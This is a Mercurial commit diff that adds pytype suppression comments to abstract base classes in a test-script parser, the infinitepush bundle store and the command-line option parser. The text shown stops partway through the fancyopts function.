pytype: don't warn us about ignored-on-py3 metaclasses

We can remove this when we're Python 3-only, but for now it's just too
awkward to deal with and it's harmless.

Differential Revision: https://phab.mercurial-scm.org/D7272

contrib/testparseutil.py

@@ -1,670 +1,670 b''
 # testparseutil.py - utilities to parse test script for check tools
 #
 #  Copyright 2018 FUJIWARA Katsunori <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import, print_function
 
 import abc
 import re
 import sys
 
 ####################
 # for Python3 compatibility (almost comes from mercurial/pycompat.py)
 
 ispy3 = sys.version_info[0] >= 3
 
 
 def identity(a):
     return a
 
 
 def _rapply(f, xs):
     if xs is None:
         # assume None means non-value of optional data
         return xs
     if isinstance(xs, (list, set, tuple)):
         return type(xs)(_rapply(f, x) for x in xs)
     if isinstance(xs, dict):
         return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
     return f(xs)
 
 
 def rapply(f, xs):
     if f is identity:
         # fast path mainly for py2
         return xs
     return _rapply(f, xs)
 
 
 if ispy3:
     import builtins
 
     def bytestr(s):
         # tiny version of pycompat.bytestr
         return s.encode('latin1')
 
     def sysstr(s):
         if isinstance(s, builtins.str):
             return s
         return s.decode('latin-1')
 
     def opentext(f):
         return open(f, 'r')
 
 
 else:
     bytestr = str
     sysstr = identity
 
     opentext = open
 
 
 def b2s(x):
     # convert BYTES elements in "x" to SYSSTR recursively
     return rapply(sysstr, x)
 
 
 def writeout(data):
     # write "data" in BYTES into stdout
     sys.stdout.write(data)
 
 
 def writeerr(data):
     # write "data" in BYTES into stderr
     sys.stderr.write(data)
 
 
 ####################
 
 
-class embeddedmatcher(object):
+class embeddedmatcher(object):  # pytype: disable=ignored-metaclass
     """Base class to detect embedded code fragments in *.t test script
     """
 
     __metaclass__ = abc.ABCMeta
 
     def __init__(self, desc):
         self.desc = desc
 
     @abc.abstractmethod
     def startsat(self, line):
         """Examine whether embedded code starts at line
 
         This can return arbitrary object, and it is used as 'ctx' for
         subsequent method invocations.
         """
 
     @abc.abstractmethod
     def endsat(self, ctx, line):
         """Examine whether embedded code ends at line"""
 
     @abc.abstractmethod
     def isinside(self, ctx, line):
         """Examine whether line is inside embedded code, if not yet endsat
         """
 
     @abc.abstractmethod
     def ignores(self, ctx):
         """Examine whether detected embedded code should be ignored"""
 
     @abc.abstractmethod
     def filename(self, ctx):
         """Return filename of embedded code
 
         If filename isn't specified for embedded code explicitly, this
         returns None.
         """
 
     @abc.abstractmethod
     def codeatstart(self, ctx, line):
         """Return actual code at the start line of embedded code
 
         This might return None, if the start line doesn't contain
         actual code.
         """
 
     @abc.abstractmethod
     def codeatend(self, ctx, line):
         """Return actual code at the end line of embedded code
 
         This might return None, if the end line doesn't contain actual
         code.
         """
 
     @abc.abstractmethod
     def codeinside(self, ctx, line):
         """Return actual code at line inside embedded code"""
 
 
 def embedded(basefile, lines, errors, matchers):
     """pick embedded code fragments up from given lines
 
     This is common parsing logic, which examines specified matchers on
     given lines.
 
     :basefile: a name of a file, from which lines to be parsed come.
     :lines: to be parsed (might be a value returned by "open(basefile)")
     :errors: an array, into which messages for detected error are stored
     :matchers: an array of embeddedmatcher objects
 
     This function yields '(filename, starts, ends, code)' tuple.
 
     :filename: a name of embedded code, if it is explicitly specified
                (e.g.  "foobar" of "cat >> foobar <<EOF").
                Otherwise, this is None
     :starts: line number (1-origin), at which embedded code starts (inclusive)
     :ends: line number (1-origin), at which embedded code ends (exclusive)
     :code: extracted embedded code, which is single-stringified
 
     >>> class ambigmatcher(object):
     ...     # mock matcher class to examine implementation of
     ...     # "ambiguous matching" corner case
     ...     def __init__(self, desc, matchfunc):
     ...         self.desc = desc
     ...         self.matchfunc = matchfunc
     ...     def startsat(self, line):
     ...         return self.matchfunc(line)
     >>> ambig1 = ambigmatcher('ambiguous #1',
     ...                       lambda l: l.startswith('  $ cat '))
     >>> ambig2 = ambigmatcher('ambiguous #2',
     ...                       lambda l: l.endswith('<< EOF\\n'))
     >>> lines = ['  $ cat > foo.py << EOF\\n']
     >>> errors = []
     >>> matchers = [ambig1, ambig2]
     >>> list(t for t in embedded('<dummy>', lines, errors, matchers))
     []
     >>> b2s(errors)
     ['<dummy>:1: ambiguous line for "ambiguous #1", "ambiguous #2"']
 
     """
     matcher = None
     ctx = filename = code = startline = None  # for pyflakes
 
     for lineno, line in enumerate(lines, 1):
         if not line.endswith('\n'):
             line += '\n'  # to normalize EOF line
         if matcher:  # now, inside embedded code
             if matcher.endsat(ctx, line):
                 codeatend = matcher.codeatend(ctx, line)
                 if codeatend is not None:
                     code.append(codeatend)
                 if not matcher.ignores(ctx):
                     yield (filename, startline, lineno, ''.join(code))
                 matcher = None
                 # DO NOT "continue", because line might start next fragment
             elif not matcher.isinside(ctx, line):
                 # this is an error of basefile
                 # (if matchers are implemented correctly)
                 errors.append(
                     '%s:%d: unexpected line for "%s"'
                     % (basefile, lineno, matcher.desc)
                 )
                 # stop extracting embedded code by current 'matcher',
                 # because appearance of unexpected line might mean
                 # that expected end-of-embedded-code line might never
                 # appear
                 matcher = None
                 # DO NOT "continue", because line might start next fragment
             else:
                 code.append(matcher.codeinside(ctx, line))
                 continue
 
         # examine whether current line starts embedded code or not
         assert not matcher
 
         matched = []
         for m in matchers:
             ctx = m.startsat(line)
             if ctx:
                 matched.append((m, ctx))
         if matched:
             if len(matched) > 1:
                 # this is an error of matchers, maybe
                 errors.append(
                     '%s:%d: ambiguous line for %s'
                     % (
                         basefile,
                         lineno,
                         ', '.join(['"%s"' % m.desc for m, c in matched]),
                     )
                 )
                 # omit extracting embedded code, because choosing
                 # arbitrary matcher from matched ones might fail to
                 # detect the end of embedded code as expected.
                 continue
             matcher, ctx = matched[0]
             filename = matcher.filename(ctx)
             code = []
             codeatstart = matcher.codeatstart(ctx, line)
             if codeatstart is not None:
                 code.append(codeatstart)
                 startline = lineno
             else:
                 startline = lineno + 1
 
     if matcher:
         # examine whether EOF ends embedded code, because embedded
         # code isn't yet ended explicitly
         if matcher.endsat(ctx, '\n'):
             codeatend = matcher.codeatend(ctx, '\n')
             if codeatend is not None:
                 code.append(codeatend)
             if not matcher.ignores(ctx):
                 yield (filename, startline, lineno + 1, ''.join(code))
         else:
             # this is an error of basefile
             # (if matchers are implemented correctly)
             errors.append(
                 '%s:%d: unexpected end of file for "%s"'
                 % (basefile, lineno, matcher.desc)
             )
 
 
 # heredoc limit mark to ignore embedded code at check-code.py or so
 heredocignorelimit = 'NO_CHECK_EOF'
 
 # the pattern to match against cases below, and to return a limit mark
 # string as 'lname' group
 #
 # - << LIMITMARK
 # - << "LIMITMARK"
 # - << 'LIMITMARK'
 heredoclimitpat = r'\s*<<\s*(?P<lquote>["\']?)(?P<limit>\w+)(?P=lquote)'
 
 
 class fileheredocmatcher(embeddedmatcher):
     """Detect "cat > FILE << LIMIT" style embedded code
 
     >>> matcher = fileheredocmatcher('heredoc .py file', r'[^<]+\\.py')
     >>> b2s(matcher.startsat('  $ cat > file.py << EOF\\n'))
     ('file.py', '  > EOF\\n')
     >>> b2s(matcher.startsat('  $ cat   >>file.py   <<EOF\\n'))
     ('file.py', '  > EOF\\n')
     >>> b2s(matcher.startsat('  $ cat>  \\x27any file.py\\x27<<  "EOF"\\n'))
     ('any file.py', '  > EOF\\n')
     >>> b2s(matcher.startsat("  $ cat > file.py << 'ANYLIMIT'\\n"))
     ('file.py', '  > ANYLIMIT\\n')
     >>> b2s(matcher.startsat('  $ cat<<ANYLIMIT>"file.py"\\n'))
     ('file.py', '  > ANYLIMIT\\n')
     >>> start = '  $ cat > file.py << EOF\\n'
     >>> ctx = matcher.startsat(start)
     >>> matcher.codeatstart(ctx, start)
     >>> b2s(matcher.filename(ctx))
     'file.py'
     >>> matcher.ignores(ctx)
     False
     >>> inside = '  > foo = 1\\n'
     >>> matcher.endsat(ctx, inside)
     False
     >>> matcher.isinside(ctx, inside)
     True
     >>> b2s(matcher.codeinside(ctx, inside))
     'foo = 1\\n'
     >>> end = '  > EOF\\n'
     >>> matcher.endsat(ctx, end)
     True
     >>> matcher.codeatend(ctx, end)
     >>> matcher.endsat(ctx, '  > EOFEOF\\n')
     False
     >>> ctx = matcher.startsat('  $ cat > file.py << NO_CHECK_EOF\\n')
     >>> matcher.ignores(ctx)
     True
     """
 
     _prefix = '  > '
 
     def __init__(self, desc, namepat):
         super(fileheredocmatcher, self).__init__(desc)
 
         # build the pattern to match against cases below (and ">>"
         # variants), and to return a target filename string as 'name'
         # group
         #
         # - > NAMEPAT
         # - > "NAMEPAT"
         # - > 'NAMEPAT'
         namepat = (
             r'\s*>>?\s*(?P<nquote>["\']?)(?P<name>%s)(?P=nquote)' % namepat
         )
         self._fileres = [
             # "cat > NAME << LIMIT" case
             re.compile(r'  \$ \s*cat' + namepat + heredoclimitpat),
             # "cat << LIMIT > NAME" case
             re.compile(r'  \$ \s*cat' + heredoclimitpat + namepat),
         ]
 
     def startsat(self, line):
         # ctx is (filename, END-LINE-OF-EMBEDDED-CODE) tuple
         for filere in self._fileres:
             matched = filere.match(line)
             if matched:
                 return (
                     matched.group('name'),
                     '  > %s\n' % matched.group('limit'),
                 )
 
     def endsat(self, ctx, line):
         return ctx[1] == line
 
     def isinside(self, ctx, line):
         return line.startswith(self._prefix)
 
     def ignores(self, ctx):
         return '  > %s\n' % heredocignorelimit == ctx[1]
 
     def filename(self, ctx):
         return ctx[0]
 
     def codeatstart(self, ctx, line):
         return None  # no embedded code at start line
 
     def codeatend(self, ctx, line):
         return None  # no embedded code at end line
 
     def codeinside(self, ctx, line):
         return line[len(self._prefix) :]  # strip prefix
 
 
 ####
 # for embedded python script
 
 
 class pydoctestmatcher(embeddedmatcher):
     """Detect ">>> code" style embedded python code
 
     >>> matcher = pydoctestmatcher()
     >>> startline = '  >>> foo = 1\\n'
     >>> matcher.startsat(startline)
     True
     >>> matcher.startsat('  ... foo = 1\\n')
     False
     >>> ctx = matcher.startsat(startline)
     >>> matcher.filename(ctx)
     >>> matcher.ignores(ctx)
     False
     >>> b2s(matcher.codeatstart(ctx, startline))
     'foo = 1\\n'
     >>> inside = '  >>> foo = 1\\n'
     >>> matcher.endsat(ctx, inside)
     False
     >>> matcher.isinside(ctx, inside)
     True
     >>> b2s(matcher.codeinside(ctx, inside))
     'foo = 1\\n'
     >>> inside = '  ... foo = 1\\n'
     >>> matcher.endsat(ctx, inside)
     False
     >>> matcher.isinside(ctx, inside)
     True
     >>> b2s(matcher.codeinside(ctx, inside))
     'foo = 1\\n'
     >>> inside = '  expected output\\n'
     >>> matcher.endsat(ctx, inside)
     False
     >>> matcher.isinside(ctx, inside)
     True
     >>> b2s(matcher.codeinside(ctx, inside))
     '\\n'
     >>> inside = '  \\n'
     >>> matcher.endsat(ctx, inside)
     False
     >>> matcher.isinside(ctx, inside)
     True
     >>> b2s(matcher.codeinside(ctx, inside))
     '\\n'
     >>> end = '  $ foo bar\\n'
     >>> matcher.endsat(ctx, end)
     True
     >>> matcher.codeatend(ctx, end)
     >>> end = '\\n'
     >>> matcher.endsat(ctx, end)
     True
     >>> matcher.codeatend(ctx, end)
     """
 
     _prefix = '  >>> '
     _prefixre = re.compile(r'  (>>>|\.\.\.) ')
 
     # If a line matches against not _prefixre but _outputre, that line
     # is "an expected output line" (= not a part of code fragment).
     #
     # Strictly speaking, a line matching against "(#if|#else|#endif)"
     # is also treated similarly in "inline python code" semantics by
     # run-tests.py. But "directive line inside inline python code"
     # should be rejected by Mercurial reviewers. Therefore, this
     # regexp does not matche against such directive lines.
     _outputre = re.compile(r'  $|  [^$]')
 
     def __init__(self):
         super(pydoctestmatcher, self).__init__("doctest style python code")
 
     def startsat(self, line):
         # ctx is "True"
         return line.startswith(self._prefix)
 
     def endsat(self, ctx, line):
         return not (self._prefixre.match(line) or self._outputre.match(line))
 
     def isinside(self, ctx, line):
         return True  # always true, if not yet ended
 
     def ignores(self, ctx):
         return False  # should be checked always
 
     def filename(self, ctx):
         return None  # no filename
 
     def codeatstart(self, ctx, line):
         return line[len(self._prefix) :]  # strip prefix '  >>> '/'  ... '
 
     def codeatend(self, ctx, line):
         return None  # no embedded code at end line
 
     def codeinside(self, ctx, line):
         if self._prefixre.match(line):
             return line[len(self._prefix) :]  # strip prefix '  >>> '/'  ... '
         return '\n'  # an expected output line is treated as an empty line
 
 
 class pyheredocmatcher(embeddedmatcher):
     """Detect "python << LIMIT" style embedded python code
 
     >>> matcher = pyheredocmatcher()
     >>> b2s(matcher.startsat('  $ python << EOF\\n'))
     '  > EOF\\n'
     >>> b2s(matcher.startsat('  $ $PYTHON   <<EOF\\n'))
     '  > EOF\\n'
     >>> b2s(matcher.startsat('  $ "$PYTHON"<<  "EOF"\\n'))
     '  > EOF\\n'
     >>> b2s(matcher.startsat("  $ $PYTHON << 'ANYLIMIT'\\n"))
     '  > ANYLIMIT\\n'
     >>> matcher.startsat('  $ "$PYTHON" < EOF\\n')
     >>> start = '  $ python << EOF\\n'
     >>> ctx = matcher.startsat(start)
     >>> matcher.codeatstart(ctx, start)
     >>> matcher.filename(ctx)
     >>> matcher.ignores(ctx)
     False
     >>> inside = '  > foo = 1\\n'
     >>> matcher.endsat(ctx, inside)
     False
     >>> matcher.isinside(ctx, inside)
     True
     >>> b2s(matcher.codeinside(ctx, inside))
     'foo = 1\\n'
     >>> end = '  > EOF\\n'
     >>> matcher.endsat(ctx, end)
     True
     >>> matcher.codeatend(ctx, end)
     >>> matcher.endsat(ctx, '  > EOFEOF\\n')
     False
     >>> ctx = matcher.startsat('  $ python << NO_CHECK_EOF\\n')
     >>> matcher.ignores(ctx)
     True
     """
 
     _prefix = '  > '
 
     _startre = re.compile(
         r'  \$ (\$PYTHON|"\$PYTHON"|python).*' + heredoclimitpat
     )
 
     def __init__(self):
         super(pyheredocmatcher, self).__init__("heredoc python invocation")
 
     def startsat(self, line):
         # ctx is END-LINE-OF-EMBEDDED-CODE
         matched = self._startre.match(line)
         if matched:
             return '  > %s\n' % matched.group('limit')
 
     def endsat(self, ctx, line):
         return ctx == line
 
     def isinside(self, ctx, line):
         return line.startswith(self._prefix)
 
     def ignores(self, ctx):
         return '  > %s\n' % heredocignorelimit == ctx
 
     def filename(self, ctx):
         return None  # no filename
 
     def codeatstart(self, ctx, line):
         return None  # no embedded code at start line
 
     def codeatend(self, ctx, line):
         return None  # no embedded code at end line
 
     def codeinside(self, ctx, line):
         return line[len(self._prefix) :]  # strip prefix
 
 
 _pymatchers = [
     pydoctestmatcher(),
     pyheredocmatcher(),
     # use '[^<]+' instead of '\S+', in order to match against
     # paths including whitespaces
     fileheredocmatcher('heredoc .py file', r'[^<]+\.py'),
 ]
 
 
 def pyembedded(basefile, lines, errors):
     return embedded(basefile, lines, errors, _pymatchers)
 
 
 ####
 # for embedded shell script
 
 _shmatchers = [
     # use '[^<]+' instead of '\S+', in order to match against
     # paths including whitespaces
     fileheredocmatcher('heredoc .sh file', r'[^<]+\.sh'),
 ]
 
 
 def shembedded(basefile, lines, errors):
     return embedded(basefile, lines, errors, _shmatchers)
 
 
 ####
 # for embedded hgrc configuration
 
 _hgrcmatchers = [
     # use '[^<]+' instead of '\S+', in order to match against
     # paths including whitespaces
     fileheredocmatcher(
         'heredoc hgrc file', r'(([^/<]+/)+hgrc|\$HGRCPATH|\${HGRCPATH})'
     ),
 ]
 
 
 def hgrcembedded(basefile, lines, errors):
     return embedded(basefile, lines, errors, _hgrcmatchers)
 
 
 ####
 
 if __name__ == "__main__":
     import optparse
     import sys
 
     def showembedded(basefile, lines, embeddedfunc, opts):
         errors = []
         for name, starts, ends, code in embeddedfunc(basefile, lines, errors):
             if not name:
                 name = '<anonymous>'
             writeout("%s:%d: %s starts\n" % (basefile, starts, name))
             if opts.verbose and code:
                 writeout("  |%s\n" % "\n  |".join(l for l in code.splitlines()))
             writeout("%s:%d: %s ends\n" % (basefile, ends, name))
         for e in errors:
             writeerr("%s\n" % e)
         return len(errors)
 
     def applyembedded(args, embeddedfunc, opts):
         ret = 0
         if args:
             for f in args:
                 with opentext(f) as fp:
                     if showembedded(f, fp, embeddedfunc, opts):
                         ret = 1
         else:
             lines = [l for l in sys.stdin.readlines()]
             if showembedded('<stdin>', lines, embeddedfunc, opts):
                 ret = 1
         return ret
 
     commands = {}
 
     def command(name, desc):
         def wrap(func):
             commands[name] = (desc, func)
 
         return wrap
 
     @command("pyembedded", "detect embedded python script")
     def pyembeddedcmd(args, opts):
         return applyembedded(args, pyembedded, opts)
 
     @command("shembedded", "detect embedded shell script")
     def shembeddedcmd(args, opts):
         return applyembedded(args, shembedded, opts)
 
     @command("hgrcembedded", "detect embedded hgrc configuration")
     def hgrcembeddedcmd(args, opts):
         return applyembedded(args, hgrcembedded, opts)
 
     availablecommands = "\n".join(
         ["  - %s: %s" % (key, value[0]) for key, value in commands.items()]
     )
 
     parser = optparse.OptionParser(
         """%prog COMMAND [file ...]
 
 Pick up embedded code fragments from given file(s) or stdin, and list
 up start/end lines of them in standard compiler format
 ("FILENAME:LINENO:").
 
 Available commands are:
 """
         + availablecommands
         + """
 """
     )
     parser.add_option(
         "-v",
         "--verbose",
         help="enable additional output (e.g. actual code)",
         action="store_true",
     )
     (opts, args) = parser.parse_args()
 
     if not args or args[0] not in commands:
         parser.print_help()
         sys.exit(255)
 
     sys.exit(commands[args[0]][1](args[1:], opts))

hgext/infinitepush/store.py

@@ -1,184 +1,184 b''
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 # based on bundleheads extension by Gregory Szorc <[e-mail]>
 
 from __future__ import absolute_import
 
 import abc
 import hashlib
 import os
 import subprocess
 import tempfile
 
 from mercurial.pycompat import open
 from mercurial import (
     node,
     pycompat,
 )
 from mercurial.utils import procutil
 
 NamedTemporaryFile = tempfile.NamedTemporaryFile
 
 
 class BundleWriteException(Exception):
     pass
 
 
 class BundleReadException(Exception):
     pass
 
 
-class abstractbundlestore(object):
+class abstractbundlestore(object):  # pytype: disable=ignored-metaclass
     """Defines the interface for bundle stores.
 
     A bundle store is an entity that stores raw bundle data. It is a simple
     key-value store. However, the keys are chosen by the store. The keys can
     be any Python object understood by the corresponding bundle index (see
     ``abstractbundleindex`` below).
     """
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def write(self, data):
         """Write bundle data to the store.
 
         This function receives the raw data to be written as a str.
         Throws BundleWriteException
         The key of the written data MUST be returned.
         """
 
     @abc.abstractmethod
     def read(self, key):
         """Obtain bundle data for a key.
 
         Returns None if the bundle isn't known.
         Throws BundleReadException
         The returned object should be a file object supporting read()
         and close().
         """
 
 
 class filebundlestore(object):
     """bundle store in filesystem
 
     meant for storing bundles somewhere on disk and on network filesystems
     """
 
     def __init__(self, ui, repo):
         self.ui = ui
         self.repo = repo
         self.storepath = ui.configpath(b'scratchbranch', b'storepath')
         if not self.storepath:
             self.storepath = self.repo.vfs.join(
                 b"scratchbranches", b"filebundlestore"
             )
         if not os.path.exists(self.storepath):
             os.makedirs(self.storepath)
 
     def _dirpath(self, hashvalue):
         """First two bytes of the hash are the name of the upper
         level directory, next two bytes are the name of the
         next level directory"""
         return os.path.join(self.storepath, hashvalue[0:2], hashvalue[2:4])
 
     def _filepath(self, filename):
         return os.path.join(self._dirpath(filename), filename)
 
     def write(self, data):
         filename = node.hex(hashlib.sha1(data).digest())
         dirpath = self._dirpath(filename)
 
         if not os.path.exists(dirpath):
             os.makedirs(dirpath)
 
         with open(self._filepath(filename), b'wb') as f:
             f.write(data)
 
         return filename
 
     def read(self, key):
         try:
             with open(self._filepath(key), b'rb') as f:
                 return f.read()
         except IOError:
             return None
 
 
 class externalbundlestore(abstractbundlestore):
     def __init__(self, put_binary, put_args, get_binary, get_args):
         """
         `put_binary` - path to binary file which uploads bundle to external
             storage and prints key to stdout
         `put_args` - format string with additional args to `put_binary`
                      {filename} replacement field can be used.
         `get_binary` - path to binary file which accepts filename and key
             (in that order), downloads bundle from store and saves it to file
         `get_args` - format string with additional args to `get_binary`.
                      {filename} and {handle} replacement field can be used.
         """
 
         self.put_args = put_args
         self.get_args = get_args
         self.put_binary = put_binary
         self.get_binary = get_binary
 
     def _call_binary(self, args):
         p = subprocess.Popen(
             pycompat.rapply(procutil.tonativestr, args),
             stdout=subprocess.PIPE,
             stderr=subprocess.PIPE,
             close_fds=True,
         )
         stdout, stderr = p.communicate()
         returncode = p.returncode
         return returncode, stdout, stderr
 
     def write(self, data):
         # Won't work on windows because you can't open file second time without
         # closing it
         # TODO: rewrite without str.format() and replace NamedTemporaryFile()
         # with pycompat.namedtempfile()
         with NamedTemporaryFile() as temp:
             temp.write(data)
             temp.flush()
             temp.seek(0)
             formatted_args = [
                 arg.format(filename=temp.name) for arg in self.put_args
             ]
             returncode, stdout, stderr = self._call_binary(
                 [self.put_binary] + formatted_args
             )
 
             if returncode != 0:
                 raise BundleWriteException(
                     b'Failed to upload to external store: %s' % stderr
                 )
             stdout_lines = stdout.splitlines()
             if len(stdout_lines) == 1:
                 return stdout_lines[0]
             else:
                 raise BundleWriteException(
                     b'Bad output from %s: %s' % (self.put_binary, stdout)
                 )
 
     def read(self, handle):
         # Won't work on windows because you can't open file second time without
         # closing it
         # TODO: rewrite without str.format() and replace NamedTemporaryFile()
         # with pycompat.namedtempfile()
         with NamedTemporaryFile() as temp:
             formatted_args = [
                 arg.format(filename=temp.name, handle=handle)
                 for arg in self.get_args
             ]
             returncode, stdout, stderr = self._call_binary(
                 [self.get_binary] + formatted_args
             )
 
             if returncode != 0:
                 raise BundleReadException(
                     b'Failed to download from external store: %s' % stderr
                 )
             return temp.read()

mercurial/fancyopts.py

@@ -1,391 +1,391 b''
 # fancyopts.py - better command line parsing
 #
 #  Copyright 2005-2009 Matt Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import abc
 import functools
 
 from .i18n import _
 from . import (
     error,
     pycompat,
 )
 
 # Set of flags to not apply boolean negation logic on
 nevernegate = {
     # avoid --no-noninteractive
     b'noninteractive',
     # These two flags are special because they cause hg to do one
     # thing and then exit, and so aren't suitable for use in things
     # like aliases anyway.
     b'help',
     b'version',
 }
 
 
 def _earlyoptarg(arg, shortlist, namelist):
     """Check if the given arg is a valid unabbreviated option
 
     Returns (flag_str, has_embedded_value?, embedded_value, takes_value?)
 
     >>> def opt(arg):
     ...     return _earlyoptarg(arg, b'R:q', [b'cwd=', b'debugger'])
 
     long form:
 
     >>> opt(b'--cwd')
     ('--cwd', False, '', True)
     >>> opt(b'--cwd=')
     ('--cwd', True, '', True)
     >>> opt(b'--cwd=foo')
     ('--cwd', True, 'foo', True)
     >>> opt(b'--debugger')
     ('--debugger', False, '', False)
     >>> opt(b'--debugger=')  # invalid but parsable
     ('--debugger', True, '', False)
 
     short form:
 
     >>> opt(b'-R')
     ('-R', False, '', True)
     >>> opt(b'-Rfoo')
     ('-R', True, 'foo', True)
     >>> opt(b'-q')
     ('-q', False, '', False)
     >>> opt(b'-qfoo')  # invalid but parsable
     ('-q', True, 'foo', False)
 
     unknown or invalid:
 
     >>> opt(b'--unknown')
     ('', False, '', False)
     >>> opt(b'-u')
     ('', False, '', False)
     >>> opt(b'-ufoo')
     ('', False, '', False)
     >>> opt(b'--')
     ('', False, '', False)
     >>> opt(b'-')
     ('', False, '', False)
     >>> opt(b'-:')
     ('', False, '', False)
     >>> opt(b'-:foo')
     ('', False, '', False)
     """
     if arg.startswith(b'--'):
         flag, eq, val = arg.partition(b'=')
         if flag[2:] in namelist:
             return flag, bool(eq), val, False
         if flag[2:] + b'=' in namelist:
             return flag, bool(eq), val, True
     elif arg.startswith(b'-') and arg != b'-' and not arg.startswith(b'-:'):
         flag, val = arg[:2], arg[2:]
         i = shortlist.find(flag[1:])
         if i >= 0:
             return flag, bool(val), val, shortlist.startswith(b':', i + 1)
     return b'', False, b'', False
 
 
 def earlygetopt(args, shortlist, namelist, gnu=False, keepsep=False):
     """Parse options like getopt, but ignores unknown options and abbreviated
     forms
 
     If gnu=False, this stops processing options as soon as a non/unknown-option
     argument is encountered. Otherwise, option and non-option arguments may be
     intermixed, and unknown-option arguments are taken as non-option.
 
     If keepsep=True, '--' won't be removed from the list of arguments left.
     This is useful for stripping early options from a full command arguments.
 
     >>> def get(args, gnu=False, keepsep=False):
     ...     return earlygetopt(args, b'R:q', [b'cwd=', b'debugger'],
     ...                        gnu=gnu, keepsep=keepsep)
 
     default parsing rules for early options:
 
     >>> get([b'x', b'--cwd', b'foo', b'-Rbar', b'-q', b'y'], gnu=True)
     ([('--cwd', 'foo'), ('-R', 'bar'), ('-q', '')], ['x', 'y'])
     >>> get([b'x', b'--cwd=foo', b'y', b'-R', b'bar', b'--debugger'], gnu=True)
     ([('--cwd', 'foo'), ('-R', 'bar'), ('--debugger', '')], ['x', 'y'])
     >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=True)
     ([('--cwd', 'foo')], ['--unknown', '--debugger'])
 
     restricted parsing rules (early options must come first):
 
     >>> get([b'--cwd', b'foo', b'-Rbar', b'x', b'-q', b'y'], gnu=False)
     ([('--cwd', 'foo'), ('-R', 'bar')], ['x', '-q', 'y'])
     >>> get([b'--cwd=foo', b'x', b'y', b'-R', b'bar', b'--debugger'], gnu=False)
     ([('--cwd', 'foo')], ['x', 'y', '-R', 'bar', '--debugger'])
     >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=False)
     ([], ['--unknown', '--cwd=foo', '--', '--debugger'])
 
     stripping early options (without loosing '--'):
 
     >>> get([b'x', b'-Rbar', b'--', '--debugger'], gnu=True, keepsep=True)[1]
     ['x', '--', '--debugger']
 
     last argument:
 
     >>> get([b'--cwd'])
     ([], ['--cwd'])
     >>> get([b'--cwd=foo'])
     ([('--cwd', 'foo')], [])
     >>> get([b'-R'])
     ([], ['-R'])
     >>> get([b'-Rbar'])
     ([('-R', 'bar')], [])
     >>> get([b'-q'])
     ([('-q', '')], [])
     >>> get([b'-q', b'--'])
     ([('-q', '')], [])
 
     '--' may be a value:
 
     >>> get([b'-R', b'--', b'x'])
     ([('-R', '--')], ['x'])
     >>> get([b'--cwd', b'--', b'x'])
     ([('--cwd', '--')], ['x'])
 
     value passed to bool options:
 
     >>> get([b'--debugger=foo', b'x'])
     ([], ['--debugger=foo', 'x'])
     >>> get([b'-qfoo', b'x'])
     ([], ['-qfoo', 'x'])
 
     short option isn't separated with '=':
 
     >>> get([b'-R=bar'])
     ([('-R', '=bar')], [])
 
     ':' may be in shortlist, but shouldn't be taken as an option letter:
 
     >>> get([b'-:', b'y'])
     ([], ['-:', 'y'])
 
     '-' is a valid non-option argument:
 
     >>> get([b'-', b'y'])
     ([], ['-', 'y'])
     """
     parsedopts = []
     parsedargs = []
     pos = 0
     while pos < len(args):
         arg = args[pos]
         if arg == b'--':
             pos += not keepsep
             break
         flag, hasval, val, takeval = _earlyoptarg(arg, shortlist, namelist)
         if not hasval and takeval and pos + 1 >= len(args):
             # missing last argument
             break
         if not flag or hasval and not takeval:
             # non-option argument or -b/--bool=INVALID_VALUE
             if gnu:
                 parsedargs.append(arg)
                 pos += 1
             else:
                 break
         elif hasval == takeval:
             # -b/--bool or -s/--str=VALUE
             parsedopts.append((flag, val))
             pos += 1
         else:
             # -s/--str VALUE
             parsedopts.append((flag, args[pos + 1]))
             pos += 2
 
     parsedargs.extend(args[pos:])
     return parsedopts, parsedargs
 
 
-class customopt(object):
+class customopt(object):  # pytype: disable=ignored-metaclass
     """Manage defaults and mutations for any type of opt."""
 
     __metaclass__ = abc.ABCMeta
 
     def __init__(self, defaultvalue):
         self._defaultvalue = defaultvalue
 
     def _isboolopt(self):
         return False
 
     def getdefaultvalue(self):
         """Returns the default value for this opt.
 
         Subclasses should override this to return a new value if the value type
         is mutable."""
         return self._defaultvalue
 
     @abc.abstractmethod
     def newstate(self, oldstate, newparam, abort):
         """Adds newparam to oldstate and returns the new state.
 
         On failure, abort can be called with a string error message."""
 
 
 class _simpleopt(customopt):
     def _isboolopt(self):
         return isinstance(self._defaultvalue, (bool, type(None)))
 
     def newstate(self, oldstate, newparam, abort):
         return newparam
 
 
 class _callableopt(customopt):
     def __init__(self, callablefn):
         self.callablefn = callablefn
         super(_callableopt, self).__init__(None)
 
     def newstate(self, oldstate, newparam, abort):
         return self.callablefn(newparam)
 
 
 class _listopt(customopt):
     def getdefaultvalue(self):
         return self._defaultvalue[:]
 
     def newstate(self, oldstate, newparam, abort):
         oldstate.append(newparam)
         return oldstate
 
 
 class _intopt(customopt):
     def newstate(self, oldstate, newparam, abort):
         try:
             return int(newparam)
         except ValueError:
             abort(_(b'expected int'))
 
 
 def _defaultopt(default):
     """Returns a default opt implementation, given a default value."""
 
     if isinstance(default, customopt):
         return default
     elif callable(default):
         return _callableopt(default)
     elif isinstance(default, list):
         return _listopt(default[:])
     elif type(default) is type(1):
         return _intopt(default)
     else:
         return _simpleopt(default)
 
 
 def fancyopts(args, options, state, gnu=False, early=False, optaliases=None):
     """
     read args, parse options, and store options in state
 
     each option is a tuple of:
 
       short option or ''
       long option
       default value
       description
       option value label(optional)
 
     option types include:
 
       boolean or none - option sets variable in state to true
       string - parameter string is stored in state
       list - parameter string is added to a list
       integer - parameter strings is stored as int
       function - call function with parameter
       customopt - subclass of 'customopt'
 
     optaliases is a mapping from a canonical option name to a list of
     additional long options. This exists for preserving backward compatibility
     of early options. If we want to use it extensively, please consider moving
     the functionality to the options table (e.g separate long options by '|'.)
 
     non-option args are returned
     """
     if optaliases is None:
         optaliases = {}
     namelist = []
     shortlist = b''
     argmap = {}
     defmap = {}
     negations = {}
     alllong = set(o[1] for o in options)
 
